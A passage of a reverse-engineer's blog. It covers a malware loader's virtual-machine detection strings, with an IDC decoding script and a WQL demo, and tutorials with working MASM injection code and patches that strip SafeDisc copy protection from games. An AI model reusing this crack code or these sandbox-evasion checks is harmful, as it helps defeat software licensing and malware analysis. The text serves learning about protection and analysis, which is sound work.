And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.
Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.
It will use WQL language to query Windows Management Instrumentation.
I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :

plugin_ida_deounicode.png

And source code of idc script (I'm maybe doing it wrong, but it's my first) :

#include <idc.idc>

static String(ea)
{
    auto s,b,i;
    s = ""; 
	i = 0;
    while(i < 2) 
	{
		b = Byte(ea);
		if (b)
		{
			s = s + form("%c", b);
			ea = ea + 2;
		}
		i++;
    }
    return s; 
}

static main()
{
	auto ea;
	auto op;
	auto str;
	auto s;
    
	ea = SelStart();
	str = "";
	while (ea < SelEnd())
	{
		if(GetMnem(ea) != "mov")
			break;
		if (GetOpType(ea, 1) == 1)
			break;
		s = String(ea + 7);
		str = str + s;
		ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT);
	}
	Message("%s\n", str);
}

So with this script I was able to see all this interesting stuff :

Win32_BIOS
Win32_Process
Win32_DiskDrive
Win32_Processor
Win32_SCSIController
Name
Model
Manufacturer
Xen
QEMU
Bochs
Red Hat
Citrix
VMware
Virtual HDVBOX
CaptureClient.exe
SELECT * FROM %s WHERE %s LIKE "%%%s%%"
SELECT * FROM %s WHERE %s = "%s"
First it will gather all the information about your pc and send this to a C&C.
And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...
This is how they can detect that you are in virtualized or emulated environment.
I didn't know how WQL work, so I decided to develop someshit :
#include <windows.h>
#include <objbase.h>
#include <atlbase.h>
#include <iostream>
#include <wbemidl.h>
#include <comutil.h>

int main(void)
{
	HRESULT hr;
	
	hr = CoInitializeEx( NULL, COINIT_MULTITHREADED );
	if (hr < 0)
	{
		std::cerr << "[-] COM initialization failed" << std::endl;
		return (-1);
	}

	hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
								RPC_C_AUTHN_LEVEL_DEFAULT,
								RPC_C_IMP_LEVEL_IMPERSONATE,
								NULL,
								EOAC_NONE,
								NULL );
	if (hr < 0)
	{
		std::cerr << "[-] Security initialization failed" << std::endl;
		return (-1);
	}

	CComPtr<IWbemLocator> locator;
	hr = CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL,
							CLSCTX_INPROC_SERVER,
							IID_IWbemLocator, reinterpret_cast< void** >( &locator ));
	if (hr < 0)
	{
		std::cerr << "[-] Instantiation of IWbemLocator failed" << std::endl;
		return (-1);
	}
	CComPtr<IWbemServices> service;
	hr = locator->ConnectServer(L"root\\cimv2", NULL, NULL, NULL,
								WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &service);

	CComPtr< IEnumWbemClassObject > enumerator;
	hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	//hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	if (hr < 0)
	{
		std::cerr << "[-] ExecQuey() Failed" << std::endl;
		return (-1);
	}
	CComPtr< IWbemClassObject > processor = NULL;
	ULONG retcnt;
	hr = enumerator->Next(WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt);
	while ( SUCCEEDED(hr) && retcnt > 0) 
	{
		if ( retcnt > 0 )
		{
				_variant_t var_val;
				hr = processor->Get( L"Name", 0, &var_val, NULL, NULL );
				if (hr >= 0)
				{
						_bstr_t str = var_val;
						std::cout << "[+] Name: " << str << std::endl;
				}
				else
				{
						std::cerr << "[-] IWbemClassObject::Get failed" << std::endl;
						//result = -1;
				}
                hr = enumerator->Next( WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt );
		}
		else
		{
			std::cout << "[-] Enumeration empty" << std::endl;
		}
	}
}

That's all for today :].

15/09/2011

C and C

Introduction

If you are bored of my tutorial on safedisc just go to Bonus section for laughing.
Today we are going to see safedisc version 2 (in this case i worked on v2.05.030).

Detection

No more *.icd file, the loader is now integrated into the main executable.
The signature is the same : "BoG_ *90.0&!! Yy>" followed by 3 unsigned integers : the version, subversion an revision number.

Anti Debug

In this case we are using ring 3 debugger, the tricks are the same than in safedisc version 1 :

You can use Phant0m plugin or follow what i did for safedisc 1.

Find OEP

Like I said in "detection" section, the loader is now integrated in the main executable, so we must find real oep after safedisc decyphering stuff.
I don't know if it's a good way to find it, but i set an hardware breakpoint on GetVersion, and look around for finding where am i. (GetVersion is one of the first called api).
But after watching some disas when i opened my ra2.exe into OllyDbg :

0041C1FD >  55              PUSH EBP
0041C1FE    8BEC            MOV EBP,ESP
0041C200    60              PUSHAD
0041C201    B8 7BC24100     MOV EAX,Ra2.0041C27B
0041C206    2D FDC14100     SUB EAX,OFFSET Ra2.<ModuleEntryPoint>
0041C20B    0305 7CC24100   ADD EAX,DWORD PTR DS:[41C27C]
0041C211    C705 FDC14100 E>MOV DWORD PTR DS:[<ModuleEntryPoint>],0E9
0041C21B    A3 FEC14100     MOV DWORD PTR DS:[41C1FE],EAX
0041C220    68 C9C04100     PUSH Ra2.0041C0C9                             ; ASCII "USER32.dll"
0041C225    68 BBC04100     PUSH Ra2.0041C0BB                             ; ASCII "KERNEL32.dll"
0041C22A    68 09C04100     PUSH Ra2.0041C009
0041C22F    68 9BC04100     PUSH <&KERNEL32.GetModuleHandleA>
0041C234    A0 21C04100     MOV AL,BYTE PTR DS:[41C021]
0041C239    3C 01           CMP AL,1
0041C23B    74 07           JE SHORT Ra2.0041C244
0041C23D    B8 00000000     MOV EAX,0
0041C242    EB 03           JMP SHORT Ra2.0041C247
0041C244    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
0041C247    50              PUSH EAX
0041C248    E8 33000000     CALL Ra2.0041C280
0041C24D    83C4 14         ADD ESP,14
0041C250    83F8 00         CMP EAX,0
0041C253    74 1C           JE SHORT Ra2.0041C271
0041C255    C705 FDC14100 C>MOV DWORD PTR DS:[<ModuleEntryPoint>],0C2
0041C25F    C705 FEC14100 0>MOV DWORD PTR DS:[41C1FE],0C
0041C269    50              PUSH EAX
0041C26A    A1 ABC04100     MOV EAX,DWORD PTR DS:[<&KERNEL32.ExitProcess>]
0041C26F    FFD0            CALL EAX
0041C271    61              POPAD
0041C272    5D              POP EBP
0041C273    EB 06           JMP SHORT Ra2.0041C27B
0041C275    72 16           JB SHORT Ra2.0041C28D
0041C277    61              POPAD
0041C278    1360 0D         ADC ESP,DWORD PTR DS:[EAX+D]
0041C27B  - E9 FFB5FEFF     JMP Ra2.0040787F

Look at 0x0041C271, popad (we restore all our registers), pop ebp, jmp to 0x0041C27B, and again a jump to ... OEP.
After setting an hbp at this address we are here :

0040787F    55              PUSH EBP
00407880    8BEC            MOV EBP,ESP
00407882    6A FF           PUSH -1
00407884    68 78234100     PUSH Ra2.00412378
00407889    68 E4C54000     PUSH Ra2.0040C5E4

Fix redirect call

In this version of safedisc 2, it's the same difficulty in my opinion, but it's take more time to write call fixer, because there are some funny anti dump tricks.
Let's see the call jsut after oep :

ra2_rdata

It looks like version 1, but they set up new "protection" for fixing it.
I will not get into detail but explain you what they did and how to defeat it.

01306CA7    68 B413EABF     PUSH BFEA13B4
01306CAC    9C              PUSHFD
01306CAD    60              PUSHAD
01306CAE    54              PUSH ESP
01306CAF    68 E76C3001     PUSH 1306CE7
01306CB4    E8 3729D10E     CALL ~df394b.100195F0
01306CB9    83C4 08         ADD ESP,8
01306CBC    6A 00           PUSH 0
01306CBE    58              POP EAX
01306CBF    61              POPAD
01306CC0    9D              POPFD
01306CC1    C3              RET

Routine are exactly the same than my previous post about version 1 subersion 41, they compute the addr and then ret to it.
BUT ! now they check on the stack from where you have called this routine, and if it's an unknow address, it will compute a random api address.
So when we will want to fix import, we will have to scan code section find 0xFF15 (call dword [rdata]) and push the addr + 6.
I will spare you from crash, because it's not the only protection ... after making a call fixer, i encoutered a second problem, you can have several call to the same offset to rdata section, and in function of where you called it it will compute different api address :

0040521E   CALL DWORD PTR DS:[4110F4]              ; Return to 7C91FE01 (ntdll.RtlGetLastWin32Error)
004078F3   CALL DWORD PTR DS:[4110F4]              ; Return to 7C812FAD (kernel32.GetCommandLineA)

As you can these 2 calls call the same routine, but ret on different api.
So for our call fixer we will have to create a temporary kernel32 and user32 table, and fix each call dword ptr to call the good index :

How to hook safedisc routine ?

100183DF    FF15 44800310   CALL DWORD PTR DS:[<&KERNEL32.SetEvent>]     ; kernel32.SetEvent
100183E5   /EB 07           JMP SHORT ~df394b.100183EE
100183E7    8BDB            MOV EBX,EBX
100183E9   /70 06           JO SHORT ~df394b.100183F1
100183EB   |90              NOP
100183EC   /71 03           JNO SHORT ~df394b.100183F1
100183EE  ^\EB F7           JMP SHORT ~df394b.100183E7
100183F1    8B65 0C         MOV ESP,DWORD PTR SS:[EBP+C]
100183F4    61              POPAD
100183F5    9D              POPFD
100183F6    C3              RET

We will remplace the JMP SHORT ~df394b.100183EE, to jump to our code (in my case i used a dll, why because dll injection FTW !, no it's a simply way to fuck this anti dump, and not assemble code in ollydbg each time, yes safedisc 2 call fixer is longer than safedisc 1).

So if you are following my tuts and code some shit, your dump will crash... we need to fix 3 more tricks.
The problem is mov REG, [rdata] ... call REG :

References in Ra2:.text to 00411084..00411087, item 3
Address=0040E719
Disassembly=MOV ESI,DWORD PTR DS:[411084]
Comment=DS:[00411084]=01302435

References in Ra2:.text to 004110A4..004110A7, item 0
Address=0040350E
Disassembly=MOV EBP,DWORD PTR DS:[4110A4]
Comment=DS:[004110A4]=01303E8D

References in Ra2:.text to 00411124..00411127, item 0
Address=0040310F
Disassembly=MOV EBX,DWORD PTR DS:[411124]
Comment=DS:[00411124]=0130A7ED

References in Ra2:.text to 00411130..00411133, item 0
Address=00402CF5
Disassembly=MOV EDI,DWORD PTR DS:[411130]
Comment=DS:[00411130]=0130B1CE

So we will need to fix mov edi, [rdata], ebp, ebx, edi, see my call fixer for explanation but same thing like before.
An another tricks is jmp to Stxt774 a section found inside the binary.

0040C488  - E9 98EB0000     JMP Ra2.0041B025

....


0041B025    53              PUSH EBX
0041B026    E8 00000000     CALL Ra2.0041B02B
0041B02B    870424          XCHG DWORD PTR SS:[ESP],EAX
0041B02E    9C              PUSHFD
0041B02F    05 D5FFFFFF     ADD EAX,-2B
0041B034    8B18            MOV EBX,DWORD PTR DS:[EAX]
0041B036    6BDB 01         IMUL EBX,EBX,1
0041B039    0358 04         ADD EBX,DWORD PTR DS:[EAX+4]
0041B03C    9D              POPFD
0041B03D    58              POP EAX
0041B03E    871C24          XCHG DWORD PTR SS:[ESP],EBX
0041B041    C3              RET

This routine will just compute an addr to rdata section, and ret to it, so for fixing this we will have to replace jmp by call [rdata], but wait jmp addr it's only 5 bytes and call [rdata] is equals 6 bytes, but don't worry when we will ret from this routine we will ret at 0x0040C488 + 6 (in the example above), so we have enough place to fix it.
And the last tricks is similar than this one seen below, it is jmp [rdata], and we have enough place too for fixing it too.

Now you have all the pieces to understand my fix import dll :

.386
.model flat,stdcall
option casemap:none 

include 	\masm32\include\kernel32.inc
includelib 	\masm32\lib\kernel32.lib


.const
; user32 addr rdata start
user32_rdata 	= 	004111ACh
; kernel32 addr rdata start
kernel32_rdata 	= 	0041105Ch

code_start 		= 	00401000h
code_end		=	00411000h
code_size		=	00010000h

; Addr to patch for our hook
addr_to_patch	=	100183E5h

start_rdata		=	00411000h
size_rdata		= 	00003000h

stxt_section	=	0041B000h
stxt_end		=	stxt_section + 00001000h

.data?
OldProtect 		dd 	?
addrcall		dd	9 dup (?)
nbwrite 		dd 	?
addrapi			dd	?
not_real		dd	?
kernel32_table	dw	051h dup (?,?,?,?)
user32_table	dw	01Ah dup (?,?,?,?)

.code

LibMain proc parameter1:DWORD, parameter2:DWORD, parameter3:DWORD

	pushad
	pushfd
	
	; Set full access for beeing able to fix jmp to call and rdata section
	invoke VirtualProtect, addr_to_patch, 5, 40h, addr OldProtect
	invoke VirtualProtect, code_start, code_size, 40h, addr OldProtect
	invoke VirtualProtect, start_rdata, size_rdata, 40h, addr OldProtect	
	
	; Set hook
	mov	eax, addr_to_patch
	mov byte ptr [eax], 0E9h
	mov [eax + 1], Hook - addr_to_patch - 5

; Scan section text
SearchCall:	
	mov eax, code_start
	
Scantext:
	inc eax
	cmp eax, code_end
	jae end_scan
	cmp word ptr[eax], 015FFh	; call [rdata]
	je call_type1
	cmp word ptr[eax], 025FFh	; Jmp [rdata]
	je call_type1
	cmp word ptr[eax], 0358Bh	; MOV ESI, ...
	je call_type1
	cmp word ptr[eax], 02D8Bh	; MOV EBP, ...
	je call_type1
	cmp word ptr[eax], 01D8Bh	; MOV EBX, ...
	je call_type1
	cmp word ptr[eax], 03D8Bh	; MOV EDI, ...
	je call_type1
	cmp byte ptr[eax], 0E9h		; Jmp Stxt774
	je jmp_type
	jmp Scantext
	
end_scan:
	; copy temporary table to original position
	mov ecx, 051h
	lea esi, kernel32_table
	mov edi, kernel32_rdata
	rep movsd
	mov ecx, 01Ah
	lea esi, user32_table
	mov edi, user32_rdata
	rep movsd	
    mov eax, 1
	popfd	
	popad
    retn

; Our hook function edx = addr of the resolved api
Hook:
	mov [addrapi], edx
	mov esp, dword ptr ss:[ebp + 0Ch]
	popad
	popfd
	pop edi
	pop edi
	retn
	
; fix jump
jmp_type:
	mov edx, [eax + 1]
	lea	edx, [edx + eax + 5]
	.if edx >= stxt_section && edx  <= stxt_end
		push next_jmp
		jmp edx
	.endif
	jmp Scantext
next_jmp:
	xor ecx, ecx
	mov	ebx, [addrapi]
	; is a jump to user32 or kernel32 rdata
	.if ebx >= 07E000000h
		lea edi, user32_table
		mov esi, user32_rdata
	.else
		lea edi, kernel32_table
		mov esi, kernel32_rdata
	.endif
	.while (dword ptr [edi + ecx * 4] != 0)
		.if dword ptr [edi + ecx * 4] == ebx
			mov word ptr[eax], 015FFh
			mov edx, esi
			lea edx, [edx + ecx * 4]
			mov dword ptr [eax + 2], edx
			jmp @F
		.endif
		inc ecx
	.endw
	mov dword ptr [edi + ecx * 4], ebx
	mov word ptr[eax], 015FFh
	mov edx, esi
	lea edx, [edx + ecx * 4]
	mov dword ptr [eax + 2], edx
@@:
	jmp Scantext
	
; We will scan if the ptr to rdata section
; is in kernel32 table or go check if it is
; in user32 table
call_type1:
	mov edx, [eax + 2]
	mov	ebx, kernel32_rdata
	
next_kernel32:	
	cmp dword ptr [ebx], 0
	je user32
	cmp ebx, edx
	je is_kernel32
	add ebx, 4
	jmp next_kernel32

; We found it, let's fix this
is_kernel32:
	push next_scan
	mov ecx, eax
	add ecx, 6
	push ecx
	jmp dword ptr [ebx]
next_scan:
	xor ecx, ecx
	mov	ebx, [addrapi]
	.while (dword ptr [kernel32_table + ecx * 4] != 0)
		.if dword ptr [kernel32_table + ecx * 4] == ebx
			mov edx, kernel32_rdata
			lea edx, [edx + ecx * 4]
			; fix index
			mov dword ptr [eax + 2], edx
			jmp @F
		.endif
		inc ecx
	.endw
	mov dword ptr [kernel32_table + ecx * 4], ebx
	mov edx, kernel32_rdata
	lea edx, [edx + ecx * 4]
	mov dword ptr [eax + 2], edx
@@:
	jmp Scantext	

; Same thing like below but for user32
user32:
	mov edx, [eax + 2]
	mov	ebx, user32_rdata
	
next_user32:	
	cmp dword ptr [ebx], 0
	je Scantext
	cmp ebx, edx
	je is_user32
	add ebx, 4
	jmp next_user32
	
is_user32:
	push next_scan_user32
	mov ecx, eax
	add ecx, 6
	push ecx
	jmp dword ptr [ebx]	
next_scan_user32:
	xor ecx, ecx
	mov	ebx, [addrapi]
	.while (dword ptr [user32_table + ecx * 4] != 0)
		.if dword ptr [user32_table + ecx * 4] == ebx
			mov edx, user32_rdata
			lea edx, [edx + ecx * 4]
			mov dword ptr [eax + 2], edx
			jmp @F
		.endif
		inc ecx
	.endw
	mov dword ptr [user32_table + ecx * 4], ebx
	mov edx, user32_rdata
	lea edx, [edx + ecx * 4]
	mov dword ptr [eax + 2], edx
@@:
	jmp Scantext		
	
LibMain endp 
	
end LibMain

And the make.bat :

@echo off

if exist "inject.obj" del "inject.obj"
if exist "inject.dll" del "inject.dll"

\masm32\bin\ml /c /coff "inject.asm"
if errorlevel 1 goto end

\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL "inject.obj"
if errorlevel 1 goto end

:end
pause

For injecting the dll, i used a olly plugin writtent by baboon, big thanks to him :]
Then after injecting dll, dump process, use importrec, and enjoy !

Bonus

And now ! the lulz part :]
In the folder of red alert 2, we can see ra2.exe (protected by safedisc) and game.exe (not protected), ra2.exe will simply launch game.exe. So removing safedisc was a long solution for breaking it.
But they used lame protection to watch if the process was launched by ra2.exe or not.

004916E4  |.  50            PUSH EAX                                                     ; /MutexName => "48BC11BD-C4D7-466b-8A31-C6ABBAD47B3E"
004916E5  |.  6A 00         PUSH 0                                                       ; |InitialOwner = FALSE
004916E7  |.  6A 00         PUSH 0                                                       ; |pSecurity = NULL
004916E9  |.  FF15 30527800 CALL DWORD PTR DS:[<&KERNEL32.CreateMutexA>]                 ; \CreateMutexA
004916EF  |.  8BF0          MOV ESI,EAX
004916F1  |.  FF15 F0517800 CALL DWORD PTR DS:[<&KERNEL32.GetLastError>]                 ; [GetLastError
004916F7  |.  3D B7000000   CMP EAX,0B7
004916FC  |.  0F94C3        SETE BL
004916FF  |.  85F6          TEST ESI,ESI
00491701  |.  74 07         JE SHORT game2.0049170A

What !? They are just checking if a mutex has been created or not, ok let's nop this.
A second check is :

0049173A  |.  68 20037C00   PUSH game2.007C0320                                                 ; /EventName = "D6E7FC97-64F9-4d28-B52C-754EDF721C6F"
0049173F  |.  6A 01         PUSH 1                                                              ; |Inheritable = TRUE
00491741  |.  6A 02         PUSH 2                                                              ; |Access = 2
00491743  |.  FF15 28527800 CALL DWORD PTR DS:[<&KERNEL32.OpenEventA>]                          ; \OpenEventA
00491749  |.  8BF0          MOV ESI,EAX
0049174B  |.  85F6          TEST ESI,ESI
0049174D  |.  74 22         JE SHORT game2.00491771

Ok a check if OpenEventA worked or not let's nop it too.

Kind of triggers ?

But there is another problem if we fix game.exe, i started a skirmish party for lulz, and after 15 seconds of playing the computer (IA) leave the match and i am victorius. WTF ?!

Ok it's clear the launcher (ra2.exe) send message throw PostThreadMessage() and game.exe set a value if a received well this message :

00491791  |.  8BF1          MOV ESI,ECX
00491793  |.  817E 04 EFBE0>CMP DWORD PTR DS:[ESI+4],0BEEF
0049179A  |.  75 4A         JNZ SHORT game2.004917E6
0049179C  |.  68 A4037C00   PUSH game2.007C03A4
004917A1  |.  E8 4A51F7FF   CALL game2.004068F0
004917A6  |.  8B46 0C       MOV EAX,DWORD PTR DS:[ESI+C]
004917A9  |.  83C4 04       ADD ESP,4
004917AC  |.  6A 00         PUSH 0                                    /BaseAddr = NULL
004917AE  |.  6A 00         PUSH 0                                    |MapSize = 0
004917B0  |.  6A 00         PUSH 0                                    |OffsetLow = 0
004917B2  |.  6A 00         PUSH 0                                    |OffsetHigh = 0
004917B4  |.  68 1F000F00   PUSH 0F001F                               |AccessMode = F001F
004917B9  |.  50            PUSH EAX                                  |hMapObject
004917BA  |.  FF15 24527800 CALL DWORD PTR DS:[<&KERNEL32.MapViewOfFileEx>]     \MapViewOfFileEx
004917C0  |.  85C0          TEST EAX,EAX
004917C2  |.  A3 4C9E8300   MOV DWORD PTR DS:[839E4C],EAX

This routine is called for checking the type of message in our case 0xBEEF, and then if the MapViewOfFileEx() is well done, it will set a value in 0x839E4C. By watching reference to this immediate constant, we can see this :

004917FA  |.  A1 4C9E8300   MOV EAX,DWORD PTR DS:[839E4C]
004917FF  |.  83C4 04       ADD ESP,4
00491802  |.  85C0          TEST EAX,EAX
00491804  |.  75 03         JNZ SHORT game2.00491809
00491806      32C0          XOR AL,AL
00491808  |.  C3            RET

Just replace xor al, al by mov al, 1 and (trigger?) is fix.

10/09/2011

Subversion 41

Introduction

No this is post will not be about SVN (a software versioning).
We will just see a litlle difference in the subversion 41 of safedisc 1.
I invite you to read this post about version 1, before reading this.

Anti debug

It is the same stuff than before, you have to use EBFE tricks too.
This part is exactly the same than the previous post.

Call redirection

Each call to Kernel32 or User32 api, are done through dplayerx.dll as usual :

013E5BD5    68 6712EABF     PUSH BFEA1267
013E5BDA    9C              PUSHFD
013E5BDB    60              PUSHAD
013E5BDC    54              PUSH ESP
013E5BDD    68 1B000000     PUSH 1B
013E5BE2    68 00000000     PUSH 0
013E5BE7    FF15 F75B3E01   CALL DWORD PTR DS:[13E5BF7]                 ; dplayerx.00E75310
013E5BED    83C4 0C         ADD ESP,0C
013E5BF0    6A 00           PUSH 0
013E5BF2    58              POP EAX
013E5BF3    61              POPAD
013E5BF4    9D              POPFD
013E5BF5    C3              RET

But in this revision for each api you will have to push a predefined value (random?) like 0xBFEA1267 in this example.
We can see the number of the api to call, and 0 or 1 for kernel32 or user32.
But ! after the call, we haven't got a jmp dword for jumping to the resolved address api
Because now the routine dplayerx.00E75310, will GetProcAddress() and then ret to this address, code at 0x013E5BED will never be executed.
So we must fix the previous code for fixing the iat :

013E36C5    33DB            XOR EBX,EBX
013E36C7    BA 50F04C00     MOV EDX,OFFSET SC3U.__imp__GetStartupInfoA@4 ; MOV EDX,4CF050 start rdata kernel32 redirection
013E36CC    8B02            MOV EAX,DWORD PTR DS:[EDX]
013E36CE    8B40 01         MOV EAX,DWORD PTR DS:[EAX+1]	; Retrive the (random) value
013E36D1    50              PUSH EAX
013E36D2    9C              PUSHFD
013E36D3    60              PUSHAD
013E36D4    54              PUSH ESP
013E36D5    6A 10           PUSH EBX			; Numero api
013E36D7    6A 00           PUSH 0				; 0 (Kernel32)
013E36D9    FF15 AB363E01   CALL DWORD PTR DS:[13E36AB]     ; dplayerx.00E35310
013E36DF    8B4424 14       MOV EAX,DWORD PTR SS:[ESP+14]	; Addr of api
013E36E3    A3 F0BF4F00     MOV DWORD PTR DS:[4FBFF0],EAX	; Save it
013E36E8    61              POPAD
013E36E9    9D              POPFD
013E36EA    A1 F0BF4F00     MOV EAX,DWORD PTR DS:[4FBFF0]
013E36EF    8902            MOV DWORD PTR DS:[EDX],EAX	; Fix
013E36F1    43              INC EBX	      			; Next api
013E36F2    83FB 50         CMP EBX,50			; No more api ?
013E36F5    74 06           JE SHORT 013E36FD
013E36F7    83C2 04         ADD EDX,4
013E36FA  ^ EB D0           JMP SHORT 013E36CC
013E36FA    CC              INT3

Don't forget to set full access(write) to your rdata section.
And now let's patch in dplayerx.dll :

00E33B13    8B65 0C         MOV ESP,DWORD PTR SS:[EBP+C]
00E33B16    61              POPAD
00E33B17    9D              POPFD
00E33B18    C3              RET

We will nop the popad and popfd instruction and replace ret by a jmp to our code (just after call instruction) :

00E33B13    8B65 0C         MOV ESP,DWORD PTR SS:[EBP+C]
00E33B16    90              NOP
00E33B17    90              NOP
00E33B18  - E9 C2FB5A00     JMP 013E36DF

Now set new origin, run it,then do the same thing with user32 api, change edx start value,push 0 by push 1, and 50 by 29. Now you can dump fix the iat with ImportRec and enjoy your game :]

Conlusion

This post is not very important but just to see a little difference, and how to fix it.
Btw today is Saturday, girlz go shopping for new shoes, guyz buy their alcohol for saturday night party, and me I wrote a list of fun (protection) games and buy some of them :

10092011.jpeg

I just need time for beeing able to publish my research about this new stuff.

Pages : 1 2 3 4 5